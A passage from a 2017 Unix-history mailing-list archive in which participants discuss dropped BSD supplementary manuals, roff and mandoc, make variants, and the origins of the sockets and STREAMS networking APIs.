In-Reply-To: <1506004460.S.5361.30122.f4-234-225.1506011900.16475@webmail.rediffmail.com>
References: <1506004460.S.5361.30122.f4-234-225.1506011900.16475@webmail.rediffmail.com>
Message-ID: <alpine.BSF.2.21.1709220934000.89458@aneurin.horsfall.org>

On Fri, 21 Sep 2017, Mutiny  wrote:

> It seems so that the large majority of us runs Linux, while others run 
> (free)bsd or OSX.

I run all three :-)

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."



From grog at lemis.com  Fri Sep 22 10:02:07 2017
From: grog at lemis.com (Greg 'groggy' Lehey)
Date: Fri, 22 Sep 2017 10:02:07 +1000
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <20170921183924.oaj23%steffen@sdaoden.eu>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <alpine.DEB.2.11.1709211829040.2486@grey.csi.cam.ac.uk>
 <20170921183924.oaj23%steffen@sdaoden.eu>
Message-ID: <20170922000207.GB64682@eureka.lemis.com>

On Thursday, 21 September 2017 at 20:39:24 +0200, Steffen Nurpmeso wrote:
> Tony Finch <dot at dotat.at> wrote:
>
>> I think it's a shame that the non-man-page parts of the Unix
>> documentation set have been neglected, in that you don't often get
>> newer programs following the style of the USD / SMM / PSD guides.
>
> The problem being that even FreeBSD dropped them from the base
> system.

There was a good reason for that.  To my recollection, they hadn't
been maintained At All, and they were decades out of date.  While they
were interesting for their historical content, as user/programmer
documentation they were useless at best and misleading or dangerous at
worst.

Greg
--
Sent from my desktop computer.
Finger grog at lemis.com for PGP public key.
See complete headers for address and phone numbers.
This message is digitally signed.  If your Microsoft mail program
reports problems, please read http://lemis.com/broken-MUA
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 163 bytes
Desc: not available
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170922/fb99d008/attachment.sig>

From lyndon at orthanc.ca  Fri Sep 22 10:30:50 2017
From: lyndon at orthanc.ca (Lyndon Nerenberg)
Date: Thu, 21 Sep 2017 17:30:50 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <20170922000207.GB64682@eureka.lemis.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <alpine.DEB.2.11.1709211829040.2486@grey.csi.cam.ac.uk>
 <20170921183924.oaj23%steffen@sdaoden.eu>
 <20170922000207.GB64682@eureka.lemis.com>
Message-ID: <2A5F5EBA-0CCB-4756-A2CA-E9108E370EDC@orthanc.ca>


> On Sep 21, 2017, at 5:02 PM, Greg 'groggy' Lehey <grog at lemis.com> wrote:
> 
> There was a good reason for that.  To my recollection, they hadn't
> been maintained At All, and they were decades out of date.  While they
> were interesting for their historical content, as user/programmer
> documentation they were useless at best and misleading or dangerous at
> worst.

So throwing them out was easier than updating them.

As I recall, the real reason they got tossed was because some factions wanted to remove the *roff tools from the base OS, meaning the viewable versions of the documents could no longer be produced.

--lyndon



From lm at mcvoy.com  Fri Sep 22 10:36:24 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 21 Sep 2017 17:36:24 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <20170922000207.GB64682@eureka.lemis.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <alpine.DEB.2.11.1709211829040.2486@grey.csi.cam.ac.uk>
 <20170921183924.oaj23%steffen@sdaoden.eu>
 <20170922000207.GB64682@eureka.lemis.com>
Message-ID: <20170922003624.GL25650@mcvoy.com>

On Fri, Sep 22, 2017 at 10:02:07AM +1000, Greg 'groggy' Lehey wrote:
> On Thursday, 21 September 2017 at 20:39:24 +0200, Steffen Nurpmeso wrote:
> > Tony Finch <dot at dotat.at> wrote:
> >
> >> I think it's a shame that the non-man-page parts of the Unix
> >> documentation set have been neglected, in that you don't often get
> >> newer programs following the style of the USD / SMM / PSD guides.
> >
> > The problem being that even FreeBSD dropped them from the base
> > system.
> 
> There was a good reason for that.  To my recollection, they hadn't
> been maintained At All, and they were decades out of date.  While they
> were interesting for their historical content, as user/programmer
> documentation they were useless at best and misleading or dangerous at
> worst.

That's really on the maintainers, it's a shame they haven't kept those
up to date.  Either update them or add to them, there has to be something
worth writing up.

I used to *love* those manuals.



From lm at mcvoy.com  Fri Sep 22 10:38:19 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 21 Sep 2017 17:38:19 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <2A5F5EBA-0CCB-4756-A2CA-E9108E370EDC@orthanc.ca>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <alpine.DEB.2.11.1709211829040.2486@grey.csi.cam.ac.uk>
 <20170921183924.oaj23%steffen@sdaoden.eu>
 <20170922000207.GB64682@eureka.lemis.com>
 <2A5F5EBA-0CCB-4756-A2CA-E9108E370EDC@orthanc.ca>
Message-ID: <20170922003819.GM25650@mcvoy.com>

On Thu, Sep 21, 2017 at 05:30:50PM -0700, Lyndon Nerenberg wrote:
> 
> > On Sep 21, 2017, at 5:02 PM, Greg 'groggy' Lehey <grog at lemis.com> wrote:
> > 
> > There was a good reason for that.  To my recollection, they hadn't
> > been maintained At All, and they were decades out of date.  While they
> > were interesting for their historical content, as user/programmer
> > documentation they were useless at best and misleading or dangerous at
> > worst.
> 
> So throwing them out was easier than updating them.
> 
> As I recall, the real reason they got tossed was because some factions
> wanted to remove the *roff tools from the base OS, meaning the viewable
> versions of the documents could no longer be produced.

Huh?  What about the man pages?

And removing roff from BSD is gonna make me mad.  I'm about to start
doing some work on BSD so maybe I'll make some noise.  Or did the *roff
tools stick around?



From lyndon at orthanc.ca  Fri Sep 22 10:39:25 2017
From: lyndon at orthanc.ca (Lyndon Nerenberg)
Date: Thu, 21 Sep 2017 17:39:25 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <20170922003819.GM25650@mcvoy.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <alpine.DEB.2.11.1709211829040.2486@grey.csi.cam.ac.uk>
 <20170921183924.oaj23%steffen@sdaoden.eu>
 <20170922000207.GB64682@eureka.lemis.com>
 <2A5F5EBA-0CCB-4756-A2CA-E9108E370EDC@orthanc.ca>
 <20170922003819.GM25650@mcvoy.com>
Message-ID: <1827FFAA-EB54-44E9-84BF-D5EEF0CCB9FF@orthanc.ca>


> On Sep 21, 2017, at 5:38 PM, Larry McVoy <lm at mcvoy.com> wrote:
> 
> And removing roff from BSD is gonna make me mad.  I'm about to start
> doing some work on BSD so maybe I'll make some noise.  Or did the *roff
> tools stick around?

Apparently they are all rewriting nroff into something called mandoc.



From lyndon at orthanc.ca  Fri Sep 22 10:40:32 2017
From: lyndon at orthanc.ca (Lyndon Nerenberg)
Date: Thu, 21 Sep 2017 17:40:32 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <20170922003624.GL25650@mcvoy.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <alpine.DEB.2.11.1709211829040.2486@grey.csi.cam.ac.uk>
 <20170921183924.oaj23%steffen@sdaoden.eu>
 <20170922000207.GB64682@eureka.lemis.com> <20170922003624.GL25650@mcvoy.com>
Message-ID: <CDAD055B-47A1-4528-9A56-96E5A8F7BE64@orthanc.ca>


> On Sep 21, 2017, at 5:36 PM, Larry McVoy <lm at mcvoy.com> wrote:
> 
> That's really on the maintainers, it's a shame they haven't kept those
> up to date.  Either update them or add to them, there has to be something
> worth writing up.
> 
> I used to *love* those manuals.

Plan 9's /sys/doc is refreshing.  And still mostly up to date.

Not because the documents haven't been updated lately, but because the OS has no need for feeping creaturism.


From lm at mcvoy.com  Fri Sep 22 10:50:53 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 21 Sep 2017 17:50:53 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <1827FFAA-EB54-44E9-84BF-D5EEF0CCB9FF@orthanc.ca>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <alpine.DEB.2.11.1709211829040.2486@grey.csi.cam.ac.uk>
 <20170921183924.oaj23%steffen@sdaoden.eu>
 <20170922000207.GB64682@eureka.lemis.com>
 <2A5F5EBA-0CCB-4756-A2CA-E9108E370EDC@orthanc.ca>
 <20170922003819.GM25650@mcvoy.com>
 <1827FFAA-EB54-44E9-84BF-D5EEF0CCB9FF@orthanc.ca>
Message-ID: <20170922005053.GN25650@mcvoy.com>

On Thu, Sep 21, 2017 at 05:39:25PM -0700, Lyndon Nerenberg wrote:
> 
> > On Sep 21, 2017, at 5:38 PM, Larry McVoy <lm at mcvoy.com> wrote:
> > 
> > And removing roff from BSD is gonna make me mad.  I'm about to start
> > doing some work on BSD so maybe I'll make some noise.  Or did the *roff
> > tools stick around?
> 
> Apparently they are all rewriting nroff into something called mandoc.

Oh, brother.  Like the BSD Makefile crap.  "Better" but nobody else uses it.
Somebody needs a clue stick.  Might be them, might be me, but it's needed.



From lyndon at orthanc.ca  Fri Sep 22 11:01:49 2017
From: lyndon at orthanc.ca (Lyndon Nerenberg)
Date: Thu, 21 Sep 2017 18:01:49 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <20170922005053.GN25650@mcvoy.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <alpine.DEB.2.11.1709211829040.2486@grey.csi.cam.ac.uk>
 <20170921183924.oaj23%steffen@sdaoden.eu>
 <20170922000207.GB64682@eureka.lemis.com>
 <2A5F5EBA-0CCB-4756-A2CA-E9108E370EDC@orthanc.ca>
 <20170922003819.GM25650@mcvoy.com>
 <1827FFAA-EB54-44E9-84BF-D5EEF0CCB9FF@orthanc.ca>
 <20170922005053.GN25650@mcvoy.com>
Message-ID: <3254B521-0895-4E42-8A0C-8F8E3451FDBE@orthanc.ca>

On Sep 21, 2017, at 5:50 PM, Larry McVoy <lm at mcvoy.com> wrote:
> 
> Oh, brother.  Like the BSD Makefile crap.

pmake, from 4.3BSD, was not evil.  But the feature accretion since has been (is) insane.

I really like mk.  8ed was where it first rolled out?  I remember reading about it in the 10ed books.  It's a joy to use in Plan 9.

--lyndon



From lm at mcvoy.com  Fri Sep 22 11:08:05 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 21 Sep 2017 18:08:05 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <3254B521-0895-4E42-8A0C-8F8E3451FDBE@orthanc.ca>
References: <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <alpine.DEB.2.11.1709211829040.2486@grey.csi.cam.ac.uk>
 <20170921183924.oaj23%steffen@sdaoden.eu>
 <20170922000207.GB64682@eureka.lemis.com>
 <2A5F5EBA-0CCB-4756-A2CA-E9108E370EDC@orthanc.ca>
 <20170922003819.GM25650@mcvoy.com>
 <1827FFAA-EB54-44E9-84BF-D5EEF0CCB9FF@orthanc.ca>
 <20170922005053.GN25650@mcvoy.com>
 <3254B521-0895-4E42-8A0C-8F8E3451FDBE@orthanc.ca>
Message-ID: <20170922010805.GO25650@mcvoy.com>

On Thu, Sep 21, 2017 at 06:01:49PM -0700, Lyndon Nerenberg wrote:
> On Sep 21, 2017, at 5:50 PM, Larry McVoy <lm at mcvoy.com> wrote:
> > 
> > Oh, brother.  Like the BSD Makefile crap.
> 
> pmake, from 4.3BSD, was not evil.  

Lots of stuff is not evil.  BitKeeper, my baby, is pretty sweet.  But you
know what?  Everyone uses Git or SVN.  Being not evil isn't enough.

> I really like mk.  8ed was where it first rolled out?  I remember reading about it in the 10ed books.  It's a joy to use in Plan 9.

I like make.  I carried around the source to a Sys III make (I think) because
it had enough in it that it was useful and didn't have all the crud that
is in GNU make.

I do wish that some simple make had stuffed a scripting language in there.
Anything, tcl, lua, even (horrors, can't believe I'm saying this) a little
lisp.  Or ideally a built in shell compat language.  All those backslashes
to make shell scripts work get old.



From mparson at bl.org  Fri Sep 22 11:53:05 2017
From: mparson at bl.org (Michael Parson)
Date: Thu, 21 Sep 2017 20:53:05 -0500
Subject: [TUHS] Another "craft" discussion topic - mindless tool
	proliferation
In-Reply-To: <20170922003624.GL25650@mcvoy.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <alpine.DEB.2.11.1709211829040.2486@grey.csi.cam.ac.uk>
 <20170921183924.oaj23%steffen@sdaoden.eu>
 <20170922000207.GB64682@eureka.lemis.com> <20170922003624.GL25650@mcvoy.com>
Message-ID: <68015634ab9d6f3432ef3207fa64934b@bl.org>

On 2017-09-21 19:36, Larry McVoy wrote:
> On Fri, Sep 22, 2017 at 10:02:07AM +1000, Greg 'groggy' Lehey wrote:
>> On Thursday, 21 September 2017 at 20:39:24 +0200, Steffen Nurpmeso 
>> wrote:
>> > Tony Finch <dot at dotat.at> wrote:
>> >
>> >> I think it's a shame that the non-man-page parts of the Unix
>> >> documentation set have been neglected, in that you don't often get
>> >> newer programs following the style of the USD / SMM / PSD guides.
>> >
>> > The problem being that even FreeBSD dropped them from the base
>> > system.
>> 
>> There was a good reason for that.  To my recollection, they hadn't
>> been maintained At All, and they were decades out of date.  While they
>> were interesting for their historical content, as user/programmer
>> documentation they were useless at best and misleading or dangerous at
>> worst.
> 
> That's really on the maintainers, it's a shame they haven't kept those
> up to date.  Either update them or add to them, there has to be 
> something
> worth writing up.
> 
> I used to *love* those manuals.

I still love those manuals.  The printed set of the BSD manuals were 
some of the first books I ordered off the Internet back in the early 
1990s.  Well worn, but still on my shelf.  I learned a lot from them, 
including *roff from the URM docs.

I got excited when I first installed NetBSD on my Amiga 3000 and saw 
that (most of) those docs were in the tree.

-- 
Michael Parson
Pflugerville, TX
KF5LGQ




From imp at bsdimp.com  Fri Sep 22 12:20:55 2017
From: imp at bsdimp.com (Warner Losh)
Date: Thu, 21 Sep 2017 20:20:55 -0600
Subject: [TUHS] Another "craft" discussion topic - mindless tool
	proliferation
In-Reply-To: <2A5F5EBA-0CCB-4756-A2CA-E9108E370EDC@orthanc.ca>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <alpine.DEB.2.11.1709211829040.2486@grey.csi.cam.ac.uk>
 <20170921183924.oaj23%steffen@sdaoden.eu>
 <20170922000207.GB64682@eureka.lemis.com>
 <2A5F5EBA-0CCB-4756-A2CA-E9108E370EDC@orthanc.ca>
Message-ID: <CANCZdfqoUsWGywt=UY=SYZnBSVFJum-bEKqOOds=hEAWK_43OQ@mail.gmail.com>

On Thu, Sep 21, 2017 at 6:30 PM, Lyndon Nerenberg <lyndon at orthanc.ca> wrote:

>
> > On Sep 21, 2017, at 5:02 PM, Greg 'groggy' Lehey <grog at lemis.com> wrote:
> >
> > There was a good reason for that.  To my recollection, they hadn't
> > been maintained At All, and they were decades out of date.  While they
> > were interesting for their historical content, as user/programmer
> > documentation they were useless at best and misleading or dangerous at
> > worst.
>
> So throwing them out was easier than updating them.
>

The FreeBSD handbook supplanted these docs years ago.


> As I recall, the real reason they got tossed was because some factions
> wanted to remove the *roff tools from the base OS, meaning the viewable
> versions of the documents could no longer be produced.


They were really super dated more than any other reason...

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170921/48e7c5d7/attachment.html>

From imp at bsdimp.com  Fri Sep 22 12:25:30 2017
From: imp at bsdimp.com (Warner Losh)
Date: Thu, 21 Sep 2017 20:25:30 -0600
Subject: [TUHS] Another "craft" discussion topic - mindless tool
	proliferation
In-Reply-To: <20170922005053.GN25650@mcvoy.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <alpine.DEB.2.11.1709211829040.2486@grey.csi.cam.ac.uk>
 <20170921183924.oaj23%steffen@sdaoden.eu>
 <20170922000207.GB64682@eureka.lemis.com>
 <2A5F5EBA-0CCB-4756-A2CA-E9108E370EDC@orthanc.ca>
 <20170922003819.GM25650@mcvoy.com>
 <1827FFAA-EB54-44E9-84BF-D5EEF0CCB9FF@orthanc.ca>
 <20170922005053.GN25650@mcvoy.com>
Message-ID: <CANCZdfotevSHGzvtch0MNSYbaZDPbTeQ=j7YQFyp0nCE1P7QRQ@mail.gmail.com>

On Thu, Sep 21, 2017 at 6:50 PM, Larry McVoy <lm at mcvoy.com> wrote:

> On Thu, Sep 21, 2017 at 05:39:25PM -0700, Lyndon Nerenberg wrote:
> >
> > > On Sep 21, 2017, at 5:38 PM, Larry McVoy <lm at mcvoy.com> wrote:
> > >
> > > And removing roff from BSD is gonna make me mad.  I'm about to start
> > > doing some work on BSD so maybe I'll make some noise.  Or did the *roff
> > > tools stick around?
> >
> > Apparently they are all rewriting nroff into something called mandoc.
>
> Oh, brother.  Like the BSD Makefile crap.  "Better" but nobody else uses
> it.
>

mandoc is a restricted set of troff that implements the traditional mandoc
troff macros. So the conversion was just tweaking a few edge cases. And all
the BSDs are using it these days.


> Somebody needs a clue stick.  Might be them, might be me, but it's needed
>

It sure beats the crazy language gnu make has become. FreeBSD has used
variations on pmake the entire life of the project, though FreeBSD's
version diverged somewhat until we abandoned the divergence to bring back
the evolved pmake from NetBSD.

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170921/2e02ffe8/attachment.html>

From gtaylor at tnetconsulting.net  Fri Sep 22 13:25:11 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Thu, 21 Sep 2017 21:25:11 -0600
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <alpine.DEB.2.11.1709211829040.2486@grey.csi.cam.ac.uk>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <alpine.DEB.2.11.1709211829040.2486@grey.csi.cam.ac.uk>
Message-ID: <b2ab6c1e-c389-84f3-8d28-629f981d5e2c@tnetconsulting.net>

On 09/21/2017 11:33 AM, Tony Finch wrote:
> I think it's a shame that the non-man-page parts of the Unix documentation
> set have been neglected, in that you don't often get newer programs
> following the style of the USD / SMM / PSD guides.

In case there are other BSD n00bs, like myself, I had to look USD / SMM 
/ PSD up.

PRM - Programmer's Reference Manual
PSD - Programmer's Supplementary Documents
SMM - System Manager's Manual
URM - User's Reference Manual
USD - User's Supplementary Documents

They do indeed look interesting.



-- 
Grant. . . .
unix || die



From grog at lemis.com  Fri Sep 22 13:26:20 2017
From: grog at lemis.com (Greg 'groggy' Lehey)
Date: Fri, 22 Sep 2017 13:26:20 +1000
Subject: [TUHS] Another "craft" discussion topic - mindless tool
 proliferation
In-Reply-To: <20170922003624.GL25650@mcvoy.com>
 <20170922003819.GM25650@mcvoy.com>
Message-ID: <20170922032620.GC64682@eureka.lemis.com>

On Thursday, 21 September 2017 at 17:38:19 -0700, Larry McVoy wrote:
> On Thu, Sep 21, 2017 at 05:30:50PM -0700, Lyndon Nerenberg wrote:
>>
>>> On Sep 21, 2017, at 5:02 PM, Greg 'groggy' Lehey <grog at lemis.com> wrote:
>>>
>>> There was a good reason for that.  To my recollection, they hadn't
>>> been maintained At All, and they were decades out of date.  While they
>>> were interesting for their historical content, as user/programmer
>>> documentation they were useless at best and misleading or dangerous at
>>> worst.
>>
>> So throwing them out was easier than updating them.
>>
>> As I recall, the real reason they got tossed was because some factions
>> wanted to remove the *roff tools from the base OS, meaning the viewable
>> versions of the documents could no longer be produced.
>
> Huh?  What about the man pages?

They're still there, and are being regularly updated.

> And removing roff from BSD is gonna make me mad.  I'm about to start
> doing some work on BSD so maybe I'll make some noise.  Or did the
> *roff tools stick around?

roff in FreeBSD has been groff for as long as I can recall, possibly
since 4.4BSD.  There has been some discussion about moving it to the
Ports Collection, but it's certainly not going away.

Greg
--
Sent from my desktop computer.
Finger grog at lemis.com for PGP public key.
See complete headers for address and phone numbers.
This message is digitally signed.  If your Microsoft mail program
reports problems, please read http://lemis.com/broken-MUA
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 163 bytes
Desc: not available
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170922/20bf0cfe/attachment.sig>

From rminnich at gmail.com  Fri Sep 22 14:09:29 2017
From: rminnich at gmail.com (ron minnich)
Date: Fri, 22 Sep 2017 04:09:29 +0000
Subject: [TUHS] Another "craft" discussion topic - mindless tool
	proliferation
In-Reply-To: <20170922032620.GC64682@eureka.lemis.com>
References: <20170922003624.GL25650@mcvoy.com>
 <20170922003819.GM25650@mcvoy.com>
 <20170922032620.GC64682@eureka.lemis.com>
Message-ID: <CAP6exYKXme6iJuj+MpwV-0RQrHszVxZea1CG2CXXVy-=_adEzA@mail.gmail.com>

I loved the permuted index. About once a week I'd open up the permuted
index to a random location and learn something. I've never found the same
joy of discovery from command line tools like apropos.

On Thu, Sep 21, 2017 at 8:26 PM Greg 'groggy' Lehey <grog at lemis.com> wrote:

> On Thursday, 21 September 2017 at 17:38:19 -0700, Larry McVoy wrote:
> > On Thu, Sep 21, 2017 at 05:30:50PM -0700, Lyndon Nerenberg wrote:
> >>
> >>> On Sep 21, 2017, at 5:02 PM, Greg 'groggy' Lehey <grog at lemis.com>
> wrote:
> >>>
> >>> There was a good reason for that.  To my recollection, they hadn't
> >>> been maintained At All, and they were decades out of date.  While they
> >>> were interesting for their historical content, as user/programmer
> >>> documentation they were useless at best and misleading or dangerous at
> >>> worst.
> >>
> >> So throwing them out was easier than updating them.
> >>
> >> As I recall, the real reason they got tossed was because some factions
> >> wanted to remove the *roff tools from the base OS, meaning the viewable
> >> versions of the documents could no longer be produced.
> >
> > Huh?  What about the man pages?
>
> They're still there, and are being regularly updated.
>
> > And removing roff from BSD is gonna make me mad.  I'm about to start
> > doing some work on BSD so maybe I'll make some noise.  Or did the
> > *roff tools stick around?
>
> roff in FreeBSD has been groff for as long as I can recall, possibly
> since 4.4BSD.  There has been some discussion about moving it to the
> Ports Collection, but it's certainly not going away.
>
> Greg
> --
> Sent from my desktop computer.
> Finger grog at lemis.com for PGP public key.
> See complete headers for address and phone numbers.
> This message is digitally signed.  If your Microsoft mail program
> reports problems, please read http://lemis.com/broken-MUA
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170922/0d48e058/attachment.html>

From pnr at planet.nl  Fri Sep 22 20:36:34 2017
From: pnr at planet.nl (Paul Ruizendaal)
Date: Fri, 22 Sep 2017 12:36:34 +0200
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <mailman.1105.1506026200.3779.tuhs@minnie.tuhs.org>
References: <mailman.1105.1506026200.3779.tuhs@minnie.tuhs.org>
Message-ID: <14E85999-B179-48C7-A93F-63D942207525@planet.nl>

Gentlemen,

Below some additional thoughts on the various observations posted
about this. Note that I was not a contemporary of these developments,
and I may stand corrected on some views.

> I'm pretty sure the two main System V based TCP/IP stacks were STREAMS
> based: the Lachman one (which I ported to the ETA-10 and to SCO Unix)
> and the Mentat one that was done for Sun.  The socket API was sort of
> bolted on top of the STREAMS stuff, you could get to the STREAMS stuff
> directly (I think, it's been a long time).


Yes, that is my understanding too. I think it goes back to the two
roots of networking on Unix: the 1974 Spider network at Murray Hill and
the 1975 Arpanet implementation of the UoI.

It would seem that Spider chose to expose the network as a device, whereas
UoI chose to expose it as a kind of pipe. This seems to have continued in
derivative work (Datakit/streams/STREAMS and BBN/BSD sockets respectively).

When these systems were developed networking was mostly over serial lines,
and to use serial drivers was not illogical (i.e. streams->STREAMS). By 1980
fast local area networks were spreading, and the idea to see the network as
a serial device started to suck.

Much of the initial modification work that Joy did on the BBN code was to
make it perform on early ethernet -- it had been designed for 50 kbps arpanet
links. Some of his speed hacks (such as trailing headers) were later
discarded.

Interestingly, Spider was conceived as a fast network (1.5 Mbps); the local
network at Murray Hill operated at that speed, and things were designed to
work over long distance T1 connections as well. This integrated fast LAN/WAN
idea seems to have been abandoned in Datakit. I have a question out to Sandy
Fraser to ask about the origins of this, but have not yet received a reply.

> The sockets stuff was something Joy created to compete with the CMU Accent
> networking system.  [...]  CMU was developing Accent on the Triple Drip
> PascAlto (aka the Perq) and had a formal networking model that was very clean
> and sexy.  There were a lot of people interested in workstations, the Andrew
> project (MIT is about to start Athena etc). So Bill creates the sockets
> interface, and to show that UNIX could be just as modern as Accent.

I've always thought that the Joy/Leffler API was a gradual development of
the UoI/BBN API. The main conceptual change seem to have been support for
multiple network systems (selectable network stack, expansion
of the address space to 14 bytes).

I don't quite see the link to Accent and Wikipedia offers little help here
https://en.wikipedia.org/wiki/Accent_kernel
Could you elaborate on how Accent networking influenced Joy's sockets?

> * There's no reason for
>   a separate listen() call (it takes a "backlog" argument but
>   in practice everyone defaults it and the kernel does strange
>   manipulations on it.)

Perhaps there is. The UoI/BBN API did not have a listen() call;
instead the open() call - if it was for a listening connection - blocked until
a connection occurred. The server process would then fork of a worker process
and re-issue the listening open() call for the next connection. This left a
time gap where the server would not be 'listening'.

The listen() call would create up to 'backlog' connection blocks in the
network code, so that this many clients could connect simultaneously
without user space intervention. Each accept() would hand over a (now
connected) connection block and add a fresh unconnected one to the backlog
list. I think this idea came from Sam Leffler, but perhaps he was inspired
by something else (Accent?, Chaos?)

Of course, this can be done with fewer system calls. The UoI/BBN system
used the open() call, with a pointer to a parameter data block as the 2nd
argument. Perhaps Joy/Leffler were of the opinion that parameter data
blocks were not very Unix-y, and hence spread it out over
socket()/connect()/bind()/listen() instead.

The UoI choice to overload the open() call and not create a new call
(analogous to the pipe() call) was entirely pragmatic: they felt this
was easier for keeping up with the updates coming out of Murray Hill
all the time.

> In particular, I have often thought that it would have been a better
> and more consistent with the philosophy to have it implemented as
> open("/dev/tcp") and so on.

I think this is perhaps an orthogonal topic: how does one map network names
to network addresses. The most ambitious was perhaps the "portal()" system
call contemplated by Joy, but soon abandoned. It may have been implemented
in the early 90's in BSD, but I'm not sure this was fully the same idea.

That said, making the the name mapping a user concern rather than a kernel
concern is indeed a missed opportunity.

Last and least, when feeling argumentative I would claim that connection
strings like "/dev/tcp/host:port" are simply parameter data blocks encoded
in a string :^)

>   This also knocks out the need for
>   SO_REUSEADDR, because the kernel can tell at the time of
>   the call that you are asking to be a server.  Either someone
>   else already is (error) or you win (success).

Under TCP/IP I'm not sure you can. The protocol specifies that you must
wait for a certain period of time (120 sec, if memory serves my right)
before reusing an address/port combo, so that all in-flight packets have
disappeared from the network. Only if one is sure that this is not an
issue one can use SO_REUSEADDR.

> Also, the profusion of system calls (send, recv, sendmsg, recvmsg,
> recvfrom) is quite unnecessary: at most, one needs the equivalent
> of sendmsg/recvmsg.

Today that would indeed seem to make sense. Back in 1980 there seems
to have been a lot of confusion over message boundaries, even in
stream connections. My understanding is that originally send() and
recv() were intended to communicate a borderless stream, whereas
sendmsg() and recvmsg() were intended to communicate distinct
messages, even if transmitted over a stream protocol.

Paul



From steffen at sdaoden.eu  Fri Sep 22 21:46:37 2017
From: steffen at sdaoden.eu (Steffen Nurpmeso)
Date: Fri, 22 Sep 2017 13:46:37 +0200
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <20170921223420.GA27231@minnie.tuhs.org>
References: <20170921223420.GA27231@minnie.tuhs.org>
Message-ID: <20170922114637.-EfSz%steffen@sdaoden.eu>

Warren Toomey <wkt at tuhs.org> wrote:
 |All, overnight the mail list blocked about 60 people because of excessive
 |bouncing. It was probably because the list has been busy, and the bounce
 |threshold for the (mostly gmail) addresses was exceeded. I've manually
 |re-enabled them all.
 |
 |I have installed the script that strips DKIM and ARC header lines before
 |the list software processes the inbound e-mails. We will see if that helps.

The mailman version i use supports REMOVE_DKIM_HEADERS out of the
box?  (This is v2.1.24, i hope that and Python2 will be maintained
for a while time.)  So i have REMOVE_DKIM_HEADERS=2 which always
removes those headers, but more possibilities exist.  There is
also special support for DMARC, but i never fiddled with that.
(I personally use SPF -all and hope for the day DNS via DTLS or
